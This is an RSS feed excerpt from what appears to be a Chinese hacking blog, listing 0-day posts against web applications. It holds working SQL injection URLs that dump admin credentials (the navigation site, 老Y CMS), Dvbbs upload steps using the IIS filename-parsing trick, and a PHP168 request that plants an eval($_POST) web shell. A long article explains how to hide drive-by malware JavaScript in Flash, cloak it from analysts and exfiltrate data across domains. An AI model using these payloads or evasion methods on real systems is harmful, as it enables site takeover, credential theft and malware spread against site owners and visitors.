<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/ZYADS.com.html" target="_blank">继续阅读《中易广告联盟系统(ZYADS) sql注入和本地包含漏洞》的全文内容...</a></p><p>分类: <a href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday.html">(D:)PHP程序漏洞</a> | Tags: <a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E4%B8%AD%E6%98%93%E5%B9%BF%E5%91%8A%E8%81%94%E7%9B%9F%E7%B3%BB%E7%BB%9F">中易广告联盟系统</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=ZYADS">ZYADS</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=SQL%E6%B3%A8%E5%85%A5">SQL注入</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E6%9C%AC%E5%9C%B0%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E">本地包含漏洞</a>&nbsp;&nbsp; | <a href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/ZYADS.com.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/ftbbs-asp-0day.html" title="飞天论坛asp版通杀 0day利用程序(官方漏洞未补)">飞天论坛asp版通杀 0day利用程序(官方漏洞未补)</a>&nbsp;&nbsp;(2009-5-13 19:11:35)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/xiaoji/Groupby-having.html" title="MSSQL注入利用Group by&having猜表名和字段名">MSSQL注入利用Group by&having猜表名和字段名</a>&nbsp;&nbsp;(2009-5-2 14:17:29)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/ECShop2.5.0.html" title="ECShop 2.5.0 (order_sn) Remote SQL Injection Vulnerability">ECShop 2.5.0 (order_sn) Remote SQL Injection Vulnerability</a>&nbsp;&nbsp;(2009-4-28 13:52:37)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/LxBlogV6.html" title="浅析LxBlog V6变量未初始化漏洞">浅析LxBlog V6变量未初始化漏洞</a>&nbsp;&nbsp;(2009-3-17 18:2:32)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/phpcms2008.html" title="phpcms2008 GBK 双字节编码 0day">phpcms2008 GBK 双字节编码 0day</a>&nbsp;&nbsp;(2009-3-16 20:45:52)</p></ul>]]></description><category>(D:)PHP程序漏洞</category><comments>http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/ZYADS.com.html#comment</comments><wfw:comment>http://www.abcxd.com/abcxd/</wfw:comment><wfw:commentRss>http://www.abcxd.com/abcxd/feed.asp?cmt=296</wfw:commentRss><trackback:ping>http://www.abcxd.com/abcxd/cmd.asp?act=tb&amp;id=296&amp;key=0d4dd914</trackback:ping></item><item><title>深度学习(asp)网址导航v3.0.4 0day</title><author>a@b.com (kissjetg)</author><link>http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/295.html</link><pubDate>Mon, 12 Oct 2009 12:35:36 +0800</pubDate><guid>http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/295.html</guid><description><![CDATA[<p>んㄗ葑訫鎖愛'S&nbsp; Blog&nbsp; <a href="http://www.virusest.com/">http://www.virusest.com/</a><br />
深度学习(asp)网址导航 v3.0.4 存在Sql注入漏洞<br />
问题代码urlGo.asp:<br />
&nbsp;</p>
<div class="codes">
<pre class="vb" name="code">
&lt;!--#include file=&quot;connDB.asp&quot;--&gt;
&lt;!--#include file=&quot;include/Function.Common.asp&quot;--&gt;
&lt;%
id=request.QueryString(&quot;id&quot;)
if id=&quot;&quot; then 
 response.Redirect(&quot;/&quot;)
end if
'-----网址--------------
Set rsWebUrl=Server.CreateObject(&quot;Adodb.Recordset&quot;)
sqlC=&quot;select  * from tWebUrl where fpassed=1 and fid=&quot; &amp; id
rsWebUrl.open sQLC,conn,0,1
if rsWebUrl.Eof and rsWebUrl.Bof then
 response.Redirect(&quot;/&quot;)
else
%&gt;
</pre>
</div>
<p>很明显,可以注入,而且头文件由于程序员疏忽,很配合的没调用防注入系统.其他文件均调用防注入.<br />
利用:注意注入点用明小子或者啊D检测不出来,简单写下注入语句:<br />
<a href="http://localhost/urlGo.asp?id=4233%20and%201=2%20union%20select%201,2,fusername,4,5,6,7,8,9,10%20from%20tAdmin">http://localhost/urlGo.asp?id=4233%20and%201=2%20union%20select%201,2,fusername,4,5,6,7,8,9,10%20from%20tAdmin</a><br />
查密码只需把fusername改成fpassword,但是在测试的时候,发现因版本不同,可能表段长度不同,如果提示列数不匹配,则换成9个即可.<br />
这里我写了利用工具,傻瓜式<a class="channel_keylink" href="http://www.7747.net/" target="_blank">入侵</a>,其中,ID值为在搜索引擎中看到的ID,如图:<br />
工具集成了暴密码账号,后台访问,数据库下载MD5破解等功能,工具和源码见附件.<br />
未加壳,欢迎篡改版权!好久没写程序了,就当练手吧!<br />
Ps:后台拿Shell比较费劲,提示空壳数据库,先恢复在备份,再一句话!</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/295.html" target="_blank">继续阅读《深度学习(asp)网址导航v3.0.4 0day》的全文内容...</a></p><p>分类: <a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday.html">(C:)ASP程序漏洞</a> | Tags: <a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0">深度学习</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E7%BD%91%E5%9D%80%E5%AF%BC%E8%88%AA">网址导航</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=asp%E6%BC%8F%E6%B4%9E">asp漏洞</a>&nbsp;&nbsp; | <a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/295.html#comment" target="_blank">添加评论</a>(0)</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/295.html#comment" target="_blank">还没有相关文章，您来说两句？</a></p>]]></description><category>(C:)ASP程序漏洞</category><comments>http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/295.html#comment</comments><wfw:comment>http://www.abcxd.com/abcxd/</wfw:comment><wfw:commentRss>http://www.abcxd.com/abcxd/feed.asp?cmt=295</wfw:commentRss><trackback:ping>http://www.abcxd.com/abcxd/cmd.asp?act=tb&amp;id=295&amp;key=2d9a08ae</trackback:ping></item><item><title>动网8.x最新0day</title><author>a@b.com (kissjetg)</author><link>http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/DvbbsVersion8.html</link><pubDate>Wed, 30 Sep 2009 13:38:13 +0800</pubDate><guid>http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/DvbbsVersion8.html</guid><description><![CDATA[<div class="ContentFont" id="NewaspContentLabel" style="padding-right: 10px; display: block; padding-left: 10px; padding-bottom: 0px; padding-top: 0px"><font id="font_word" style="font-size: 14px; font-family: 宋体, Verdana, Arial, Helvetica, sans-serif">利用的还是IIS的文件名解析漏洞.<br />
影响版本:<br />
Powered By Dvbbs Version 8.2.0<br />
Powered By Dvbbs Version 8.1.0<br />
Powered By Dvbbs Version 8.0.0<br />
注册用户-我的主页-个人空间管理<br />
userspace.asp?sid=0&amp;amp;act=modifyset<br />
然后编辑CSS风格-文件管理<br />
bbs/Dv_plus/myspace/script/filemange.asp<br />
上传 hacknote.asp;hacknote.jpg<br />
接下来知道了吧<br />
赶快行动吧 </font></div>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/DvbbsVersion8.html" target="_blank">继续阅读《动网8.x最新0day》的全文内容...</a></p><p>分类: <a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday.html">(C:)ASP程序漏洞</a> | Tags: <a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E5%8A%A8%E7%BD%91%E6%BC%8F%E6%B4%9E">动网漏洞</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=Dvbbs">Dvbbs</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E">解析漏洞</a>&nbsp;&nbsp; | <a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/DvbbsVersion8.html#comment" target="_blank">添加评论</a>(1)</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/DvbbsVersion8.html#comment" target="_blank">还没有相关文章，您来说两句？</a></p>]]></description><category>(C:)ASP程序漏洞</category><comments>http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/DvbbsVersion8.html#comment</comments><wfw:comment>http://www.abcxd.com/abcxd/</wfw:comment><wfw:commentRss>http://www.abcxd.com/abcxd/feed.asp?cmt=294</wfw:commentRss><trackback:ping>http://www.abcxd.com/abcxd/cmd.asp?act=tb&amp;id=294&amp;key=eab427f5</trackback:ping></item><item><title>关于flash封装JS代码的一些TIPS</title><author>a@b.com (kissjetg)</author><link>http://www.abcxd.com/abcxd/abcxdArticle/7788/javascript-flash-reader.html</link><pubDate>Wed, 23 Sep 2009 12:18:47 +0800</pubDate><guid>http://www.abcxd.com/abcxd/abcxdArticle/7788/javascript-flash-reader.html</guid><description><![CDATA[<p>作者：<a href="http://www.101d1.cn/read.php?199" target="_blank"><font color="#0b59b2">mikawawa</font></a></p>
<p>今天看rss reader上又有几个好友发了一些关于flash封装js代码的相关文章。看完后，仔细琢磨了一下，感觉应该把一些TIPS发到blog上做个备份吧。</p>
<p>一、首先，咱们说说flash代码的保护。<br />
关于这个问题，我觉得对swf进行加密混淆很关键，因为浏览器在浏览到swf文件后都会缓存到本地，所以被拿到样本也就不足为奇了。但是如果能对其进行必要 的加密混淆，我相信对于大多数人来说想要看到完整的源代码似乎就变得非常困难了。网上的混淆加密工具很多，我这里给一个大家可以测试下：<br />
http://doswf.googlecode.com/files/DoSWF4.0.2.exe<br />
当然好的加密混淆工具也是非常难得，看大家怎么去找了。<br />
&nbsp;</p>
<p>如果混淆和加密的算法都很强壮的话，相信很多人都会拿这个swf文件没有办法了。当然有朋友说，我可以不管你这个swf怎么加密，只要被加载到内存，最终代 码还是会在内存里出现的等等，这些说法我同意，你都要用调试器进行动态调试了，我能有什么办法呢～～～起码给你静态调试增加点难度吧。</p>
<p>二、关于js代码的保护<br />
JS代码可以由FLASH进行任意加密，调用之前当然会需要解密，看上去没什么区别。但是在使用静态分析的朋友的眼里那可就变得更复杂了一些。 因为经过加密后的js代码会被放入flash里一起编译进swf文件里，再对swf文件进行混淆，那个反编译出来的DD还有几个人能看得懂撒？</p>
<p>说 到这里，又有朋友说了，我不管你怎么加密，你的js最终还是要通过外部接口交由浏览器执行的，既然你执行，那么肯定会调用eval这个js函数的，那好， 我hook这个函数不就行了吗？～～～我只能说，你很聪明，但还不够聪明。谁说的我执行js代码就非要用eval函数的撒？网上那么流传的而已，我使用 setTimeout函数行不行？你说啥，你要把这个函数也hook了？OK，我使用匿名函数，我看你hook啥去？不相信？look下面的代码：</p>
<div class="codes">
<pre class="javascript" name="code">
package{
import flash.external.ExternalInterface;

public class Movie extends Sprite{

public function Movie()  {
var myjs:String=&quot;alert('see me?');&quot;;//换成你的js
ExternalInterface.call(&quot;(function(){&quot;+myjs+&quot;})()&quot;);

}
}
}</pre>
<p>这样的代码，我看看你再hook啥去？啊？哈哈！除了这个难道就没别的了吗？多啊，匿名对象？toString重载？toValue重载？等等！<br />
<span style="color: #ff0000">2009.8.26更新：</span></p>
<hr />
上面讨论的这个问题，有幸得到inking同学的关注，他在自己的blog上先后发了两篇相关的主题，link如下：<br />
<a href="http://hi.baidu.com/inking26/blog/item/a3718e5425d824163b29355a.html" target="_blank"><font color="#0b59b2">动态解密flash网马（二）</font></a><br />
<a href="http://hi.baidu.com/inking26/blog/item/a50541163ea9994321a4e9f7.html" target="_blank"><font color="#0b59b2">动态解密flash网马（三）</font></a>
<p>&nbsp;</p>
<p>其中也有我的回复，最终讨论的结果大概是这样的：<br />
使用匿名函数依然可以通过hookFunction构造函数来获得执行内容，代码如下：</p>
<div class="codes">
<pre class="javascript" name="code">
&lt;script language=&quot;javascript&quot;&gt;

// hook
fnobj = Function;
Function = function(v) {
alert(&quot;Hooker said: \r\n\t\r\n\tYou are...\r\n\t\r\n\t&quot; + v);
alert(&quot;Begin to execute your codes...&quot;);
fn = new fnobj(&quot;(&quot; + v + &quot;)()&quot;);
fn();
}

// ExternalInterface.call(&quot;...&quot;)
(function() {
alert(&quot;you can not see me&quot;);
})();

&lt;/script&gt;</pre>
<p>而使用匿名类即:</p>
<div class="codes">
<pre class="javascript" name="code">
new function(){
//js代码
}</pre>
<p>是 hook不到的，至于inking说的使用调试工具来获取执行内容那是我们脚本力所不能及的了，从纯脚本上来说最好的办法就是使用上面这个匿名类的方式， 另外ExternalInterface.call的使用不是那么一成不变的，就像我在inking文章回复中提到的那样，你还可以这样玩：</p>
<div class="codes">
<pre class="javascript" name="code">
ExternalInterface.call(&quot;a='see me',alert(a),alert(a+'?')&quot;);</pre>
<p>关于这方面的讨论基本就这些了，有见解的请留言回复！</p>
<hr />
<span style="color: #ff0000">2009.8.26更新：结束！</span><br />
这种保护就够了吗？NO！发挥一下想象力，配合服务端脚本尽可能的保护代码。这里写几个TIP吧，我自己用了好久了，这里都发出来大家交流下，有更好方法的希望也能拿出来学习一下。
<p>&nbsp;</p>
<p>首先看看，服务端脚本能做些什么？不管你是挂马还是XSS,不管你是用flash封装还是直接引入js代码，服务端脚本都可以起到一定程度保护和迷惑作用。 首先，我首选的放置脚本的地方是些免费提供空间存储同时又支持php的*nix主机，为什么要选这个呢？第一，php脚本我比较属性，而且强大，写点东西 也非常简单。二，为什么要是*nix主机呢，因为我们要用到一个apache非常强大的特性--.htaccess文件。这个文件有啥用呢？先看下下面的 代码：</p>
<p>&lt;script src=&quot;http://www.myserver.com/ma.js&quot;&gt;&lt;/script&gt;</p>
<p>当你在一个网站上看到这个链接地址的时候你第一反应会是啥？被挂马了呗！第二呢？你会把这个地址复制下来，然后直接放到浏览器访问吗？我想大多数人会这么做 的（包括我)。因为什么呢？因为那个文件的后缀是个.js文件，大多数人的潜意识当中就会认为这个就是个普通的文本文件，所以直接访问就可以看到。如果是 下面的代码：</p>
<p>&lt;script src=&quot;http://www.myserver.com/ma.php&quot;&gt;&lt;/script&gt;</p>
<p>大多数人就会想到，有可能这个ma.php做了referer的判断，因为加上个referer头就可以轻松绕过限制了。那么我们怎么让web服务器 将.js的后缀给解释成php代码呢？这里就用到了.htaccess文件，这个文件在虚拟主机 那里都会启用的，方便用户自己定制一些特性。那么我们可以写一个.htaccess然后放到我们的web目录里，内容如下：</p>
<div class="codes">
<pre class="javascript" name="code">
&lt;Files ma.js&gt;
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
&lt;/Files&gt;
Options -Indexes</pre>
<p>这 个时候再访问ma.js，该文件就会被服务器端当成php脚本进行解析了，这样你在ma.js里尽情书写你的php代码，加个referer判断，如果通 过判断则返回你的真正js代码，如果没通过判断则返回一个假的js代码，这样当大多数人看到&quot;&lt;script src=&quot;http://www.myserver.com/ma.js&quot;&gt;&lt;/script&gt;&quot;这样的代码时，他会把地址复制下来， 然后在浏览器里直接打开，结果返回的是一个假的js，而这个人他并不知道是假的，说不定他心里还在骂：这个SB挂马的人居然还用这么老的网马？（啊哈哈， 也不知道谁SB了～～～）。</p>
<p>那么将这个特性用于flash封装里，也是有很多地方可以应用到的。首先就是flash引用代码的引入，那么就可以上 面说的这个小技巧来伪装一下。其次，我们可以把要封装的js代码分成至少两个部分，其中一部分放在swf里封装好，另一部分放到一个服务端脚本里。当 swf文件加载执行后，它会去服务端脚本取回缺少的部分，然后组合起来，然后触发。那么这里又有很多的小技巧可以使用，我这里就不多赘述了，我这里只简单 提一下，判断来源不仅仅只可以通过referer来判断的，开动一下脑筋，你会发现还有更好的判断方法等着你挖掘哦～～～</p>
<p>三、flash的其它应用<br />
flash 的应用还是可以更大的发挥的。比如，xss里常碰到的跨域回传数据的问题，我们就可以通过flash来完美解决。举个例子，你可以在flash里写一个回 传数据到另一个域的函数，然后将这个函数使用ExternalInterface.addCallback注册为可被外部调用。那么当使用js代码获取到 信息后就可以使用js调用哪个注册好的函数，将获得的信息发送到另一个域去。因为flash的特性，对于跨域传递数据只要另一个域下有策略文件允许其它域 的flash访问即可完成跨域信息的传递，而另一个用来接收回传数据的那个域又是可控的，所以这个限制就不算什么限制了。这样隐蔽又快捷，何乐而不为？</p>
<p>我 这里在扩展的说一下上面部分讲到的将js代码分段保存，然后再组合应用的细节吧。其实分段保存无非是为了尽可能达到让分析人员头疼的目的。也就是说怎么麻 烦怎么来，转的对方头晕脑胀目的也就达到了。比如本地共享对象，除了可以打水印跟踪客户端外，还可以保存一些数据。比如flash第一次加载 时，flash利用flash.system.Capabilities里的一些客户端属性计算出一个唯一标识（这种方法还有待测试，因为我不知道是否可 以达到绝对唯一的程度），然后使用URLLoader类向指定服务端脚本发送请求（其中会携带计算出的唯一标识以及一个来源标识），服务端脚本接收到请求 后，判断来源标识，如果不是由特定flash发送过来的数据则放弃后续处理。判断通过后接着会去数据库中查询此唯一标识是否已被注册（即访问过），如果已 注册则返回false，否则返回已加密的js分段，并注册该唯一标识。flash接收到返回的加密后的js后，解密还原然后与自身的另一分段组合后触发。 这样就能保证这段js代码在客户机上只执行一次，而当客户机的用户即使发现了问题，获取到了这个样本flash，但是由于这个客户机的唯一标识已在服务端 注册过，所以再也不会获取到js代码的另一部分了，那么即使swf文件被反编译成功，因为缺失的另一部分导致也无所获取整个样本。</p>
<p>说到这里有可能有人会说，那我再找另一个从来没访问过的机器去访问，然后用嗅探器抓包，不就抓到了吗？的确，这样是可以的。这就是我为什么用了&ldquo;尽可能&rdquo;这三个字的缘由了。</p>
<p>四、关于flash封装网马<br />
今 天LCX老大哥说，它用flash封装一个溢出型网马的时候老是不成功。这个问题我至今就碰到一次，那就是封装前些日子闹得沸沸扬扬的flash10的网 马，这个呢属于特例因为漏洞是flash的，所以再用flash封装的时候会有冲突，导致封装不成功。不过用flash封装其它的网马我测试得都是没问题 的，那么为什么LCX大哥在封装溢出行网马的时候会有问题呢？其实这跟是不是溢出行没啥关系，主要是网马代码的问题。有很多人都是直接将网马代码复制过 来，然后接着就放到ExternalInterface.call里去执行了。这样做的后果就是，如果原始网马代码中包含有&lt;script&gt; 标签的话将导致不成功。先说这个是为啥吧：当flash是用网页加载的时候，它的外部容器就是这个html，因此falsh使用外部接口执行的js函数都 是在HTML这个容器中的&lt;script&gt;里执行的，所以如果原始网马代码中也有script标签肯定是要去掉滴，不然肯定是不成功滴！<br />
另 外，如果原始代码中有document.write，那么也要修改成别的写法，否则一样不成功。为啥？道理很简单，网页元素的加载顺序是先脚本，后图片啊 flash啊啥的。当加载到flash的时候，整个页面的DOM树已经成型，而且document的输出流也早已关闭，如果这个时候flash又调用外部 接口执行js代码，而js代码里又恰巧包含有document.write的话，那么执行到这句就会重新打开输出流，结果就是新输出的内容会把先前的页面 整个覆盖掉，导致不成功。</p>
<p>类似这样的问题大家可以以此类推，只要把类似这样的代码都解决了，封装触发就没问题了。</p>
<p>以后想到什么，再补充吧。本文不定时更新撒！</p>
<p>flash的应用不止于此，我这次讲得东西估计很多人也早就用得倍儿熟了，以后会再陆续公布其它的应用技巧，希望能有更多人参与进来相互交流，相互学习，保留一份纯真的技术交流氛围吧！～～</p>
</div>
</div>
</div>
</div>
</div>
<p>&nbsp;</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/7788/javascript-flash-reader.html" target="_blank">继续阅读《关于flash封装JS代码的一些TIPS》的全文内容...</a></p><p>分类: <a href="http://www.abcxd.com/abcxd/abcxdArticle/7788.html">(T:)杂七杂八</a> | Tags: <a href="http://www.abcxd.com/abcxd/catalog.asp?tags=Flash">Flash</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=JavaScript">JavaScript</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=js">js</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=rss+reader">rss reader</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E8%A7%A3%E5%AF%86">解密</a>&nbsp;&nbsp; | <a href="http://www.abcxd.com/abcxd/abcxdArticle/7788/javascript-flash-reader.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/Javascript/javascript-cookie.html" title="JavaScript使用cookie,参数设置,说明;读取,写入,删除函数">JavaScript使用cookie,参数设置,说明;读取,写入,删除函数</a>&nbsp;&nbsp;(2009-9-6 2:4:38)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/windowsoday/fly_flash.html" title="fly_flash — Jump/XSS/CSRF in Flash">fly_flash — Jump/XSS/CSRF in Flash</a>&nbsp;&nbsp;(2009-8-29 11:51:52)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/Javascript/264.html" title="JavaScript  SWitch条件(case)">JavaScript  SWitch条件(case)</a>&nbsp;&nbsp;(2009-6-24 0:34:58)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/Javascript/JavaScript-1.html" title="开始传统学习一下Javascript（初始化 ）">开始传统学习一下Javascript（初始化 ）</a>&nbsp;&nbsp;(2009-6-6 12:37:5)</p></ul>]]></description><category>(T:)杂七杂八</category><comments>http://www.abcxd.com/abcxd/abcxdArticle/7788/javascript-flash-reader.html#comment</comments><wfw:comment>http://www.abcxd.com/abcxd/</wfw:comment><wfw:commentRss>http://www.abcxd.com/abcxd/feed.asp?cmt=293</wfw:commentRss><trackback:ping>http://www.abcxd.com/abcxd/cmd.asp?act=tb&amp;id=293&amp;key=a7cbfad4</trackback:ping></item><item><title>PHP168 6.0及以下版本漏洞</title><author>a@b.com (kissjetg)</author><link>http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/PHP168-6.0.html</link><pubDate>Thu, 10 Sep 2009 09:44:53 +0800</pubDate><guid>http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/PHP168-6.0.html</guid><description><![CDATA[<p>转自:<a href="http://huaidan.org/archives/3276.html">鬼仔</a></p>
<p>来源：<a href="http://www.chinesehonker.org/News/Report/2009-09-07/2016.html" target="_blank"><font color="#0b59b2">chinesehonker</font></a></p>
<p>危险等级：高</p>
<p>影响版本：PHP168 6.0以下版本</p>
<p>入侵者可以在用户登陆页面构造特殊语句，将PHP一句话写入cache目录，从而获得使用PHP168整站程序网站的WEBSHELL权限。<br />
&nbsp;</p>
<p>测试语句：<br />
?makehtml=1&amp;chdb[htmlname]=honker.php&amp;chdb[path]=cache&amp;content=?php%20@eval($_POST[honker]);?</p><p>Copyright © 2008</p><p><a href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/PHP168-6.0.html" target="_blank">继续阅读《PHP168 6.0及以下版本漏洞》的全文内容...</a></p><p>分类: <a href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday.html">(D:)PHP程序漏洞</a> | Tags: <a href="http://www.abcxd.com/abcxd/catalog.asp?tags=php168">php168</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=%E6%BC%8F%E6%B4%9E">漏洞</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=php%E6%BC%8F%E6%B4%9E">php漏洞</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=cache">cache</a>&nbsp;&nbsp;<a href="http://www.abcxd.com/abcxd/catalog.asp?tags=WEBSHELL">WEBSHELL</a>&nbsp;&nbsp; | <a href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/PHP168-6.0.html#comment" target="_blank">添加评论</a>(0)</p><h3>相关文章:</h3><ul><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/283.html" title="Discuz! Plugin Crazy Star < = 2.0 Sql injection Vulnerability">Discuz! Plugin Crazy Star < = 2.0 Sql injection Vulnerability</a>&nbsp;&nbsp;(2009-8-27 13:57:57)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/CFCountSql-40.html" title="乘风多用户PHP统计系统 v4.0 注射漏洞">乘风多用户PHP统计系统 v4.0 注射漏洞</a>&nbsp;&nbsp;(2009-6-16 16:21:14)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/PHPloudongwajue.html" title="PHP漏洞挖掘技术">PHP漏洞挖掘技术</a>&nbsp;&nbsp;(2009-5-6 16:16:10)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/linuxoday/LinuxKernel2.6-141.html" title="Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit">Linux Kernel 2.6 UDEV < 141 Local Privilege Escalation Exploit</a>&nbsp;&nbsp;(2009-5-1 16:17:16)</p><p><a  href="http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/ECShop2.5.0.html" title="ECShop 2.5.0 (order_sn) Remote SQL Injection Vulnerability">ECShop 2.5.0 (order_sn) Remote SQL Injection Vulnerability</a>&nbsp;&nbsp;(2009-4-28 13:52:37)</p></ul>]]></description><category>(D:)PHP程序漏洞</category><comments>http://www.abcxd.com/abcxd/abcxdArticle/PHPoday/PHP168-6.0.html#comment</comments><wfw:comment>http://www.abcxd.com/abcxd/</wfw:comment><wfw:commentRss>http://www.abcxd.com/abcxd/feed.asp?cmt=292</wfw:commentRss><trackback:ping>http://www.abcxd.com/abcxd/cmd.asp?act=tb&amp;id=292&amp;key=00964993</trackback:ping></item><item><title>老Y文章管理系统V2.4最新漏洞分析</title><author>a@b.com (kissjetg)</author><link>http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/laoY-2.4.html</link><pubDate>Mon, 07 Sep 2009 11:06:46 +0800</pubDate><guid>http://www.abcxd.com/abcxd/abcxdArticle/ASPoday/laoY-2.4.html</guid><description><![CDATA[<p>&nbsp;文章作者：Cschii 摘自：黑防</p>
<p>[技术要点]： <br />
&nbsp;&nbsp;&nbsp;&nbsp; 1、爆出老Y最新的四个漏洞； <br />
&nbsp;&nbsp;&nbsp;&nbsp; 2、利用正则表达式&ldquo;(\&lt;.+?\&gt;)&rdquo;中的&ldquo;.&rdquo;含义为&ldquo;匹配除换行符以外的任意字符&rdquo;，在Html语句的标签中插入&ldquo;换行符&rdquo;即可饶过正则表达式的过滤； <br />
&nbsp;&nbsp;&nbsp;&nbsp; 3、绕过逗号，另类手工注入。CheckStr()函数过滤了逗号，所以不能使用多参数的函数，比如字符串截取函数mid()，也不能使用union语句，因为union 语句必须保证字段数一致，还不能使用&ldquo;&lt;&rdquo;、&ldquo;&gt;&rdquo;、&ldquo;=&rdquo;等符号，所以使用select的like语句逐位猜解与密码的MD5码相匹配的字符，取值范围：0-9，A-F（不区分大小）； <br />
&nbsp;&nbsp;&nbsp;&nbsp; 4、给出一段字符串与Unicode字符转换的代码； <br />
[主要内容]： <br />
&nbsp;&nbsp;&nbsp;&nbsp; 老Y采用伪静态页面（由/Html/Index.asp调用），代码相当简洁，过滤也非常严密，数字型使用LaoYRequest()、字符型使用CheckStr()等函数进行过滤防止注入，文本内容使用LoseHtml()函数过滤防止跨站；功能比较全面，有新闻固顶、公告、留言、评论、RSS、用户注册、网站风格以及简繁体选择等等，动态页面文件较少。 <br />
&nbsp;&nbsp;&nbsp;&nbsp; 但是智者千虑必有一疏，本文对老Y做了全面剖析，我们再次感受到安全必须要过滤严密！老Y的CheckStr()函数因为过滤了逗号才躲过致命一劫，但是疏忽了括号，导致我们可以巧妙构造Sql语句达到注入目的。本文涉及到一种另类的手工注入方法，即绕过mid等函数利用了like关键字进行字符猜解，注入漏洞二还会完全摧毁老Y&mdash;&mdash;删除所有文章，使其仅剩&ldquo;躯壳&rdquo;&mdash;&mdash;网站框架。又因为老Y的LoseHtml()函数在使用正则表达式时存在缺陷，所以导致我们可以利用插入换行符的方法提交跨站脚本，评论跨站还将影响网站首页！如果提交页面跳转、关闭、死循环等脚本，即可完成DDOS类似攻击，还可以获取管理员Cookie、网页挂马、传播蠕虫等其他跨站攻击。总之这一切均因为老Y函数过滤不足所致！最后提醒大家：使用老Y时务必修改管理员用户表名及后台管理目录。 <br />
&nbsp;&nbsp; 漏洞一：js.asp页面漏洞。此漏洞由幻泉(bl4ck)发现。由于js.asp页面在处理使用CheckStr()函数过滤后的字符时，将其中的&ldquo;|&rdquo;分割符又还原为&ldquo;，&rdquo;（即逗号），导致注入。 <br />
利用链接：</p>
<p>Code:<br />
<a href="http://127.0.0.1/laoy/js.asp?maxlen=50&amp;num=5&amp;ClassNo=1|1|1)%09Union%09Select%091|cstr(id)%2Bchr(58)%2Badmin_name%2Bchr(58)%2Badmin_pass|3|4|5|6|7|8|9%09From%09yao_admin%09Where%09(1">http://127.0.0.1/laoy/js.asp?maxlen=50&amp;num=5&amp;ClassNo=1|1|1)%09Union%09Select%091|cstr(id)%2Bchr(58)%2Badmin_name%2Bchr(58)%2Badmin_pass|3|4|5|6|7|8|9%09From%09yao_admin%09Where%09(1</a> <br />
//其中maxlen和num参数不能少 <br />
//cstr()函数将数字型字段id的值转为字符串， <br />
//%2B即&ldquo;+&rdquo; 用作连接id、admin_name、admin_pass字段 <br />
// chr(58)即&ldquo;：&rdquo;为分割符<br />
